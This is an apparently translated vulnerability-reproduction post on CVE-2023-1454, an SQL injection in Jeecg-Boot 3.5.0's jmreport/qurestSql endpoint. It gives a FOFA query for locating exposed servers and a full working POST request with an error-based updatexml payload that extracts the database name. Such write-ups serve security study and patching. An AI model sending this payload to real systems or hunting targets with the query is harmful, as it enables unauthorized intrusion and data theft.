Article Directory
Jeecg-Boot has a foreground SQL injection vulnerability (CVE-2023-1454)
1. Introduction to Jeecg-Boot
WeChat Official Account Search: Nanfeng Vulnerability Reappearance Library,
Nanfeng Network Security Official Account First Release
eecgBoot is a low-code platform based on BPM! Front-end and back-end separation architecture SpringBoot 2.x, SpringCloud, Ant Design&Vue, Mybatis-plus, Shiro, JWT, support microservices. The powerful code generator enables one-click generation of front-end and back-end codes, enabling low-code development! JeecgBoot leads the new low-code development mode OnlineCoding->code generator->manual MERGE, helping Java projects solve 70% of repetitive work, allowing development to focus more on business, which can quickly improve efficiency, save R&D costs, and at the same time maintain flexibility! A series of low-code capabilities: Online forms, Online reports, Online charts, form design, process design, report design, large screen design, etc.
2. Vulnerability description
There is a SQL injection vulnerability in jeecg-boot version 3.5.0, which is caused by a security problem in the file jmreport/qurestSql, which leads to SQL injection through the parameter apiSelectId.
CVE-2023-1454
CNNVD-202303-1399
3. Affect the version
jeecg-boot version 3.5.0
4. fofa query statement
body=“jeecg-boot”
5. Vulnerability recurrence
Vulnerability Packet
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 126
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}
Successfully exploded the database name
6.POC&EXP
Follow the public account Nanfeng Vulnerability Reproduction Library and reply Vulnerability Reproduction 12 to get the download address of the POC tool:
7. Rectification opinions
At present, the manufacturer has not released any repair measures to solve this security problem. Users who use this software are advised to pay attention to the manufacturer's homepage or reference URL for solutions:
https://github.com/jeecgboot/jeecg-boot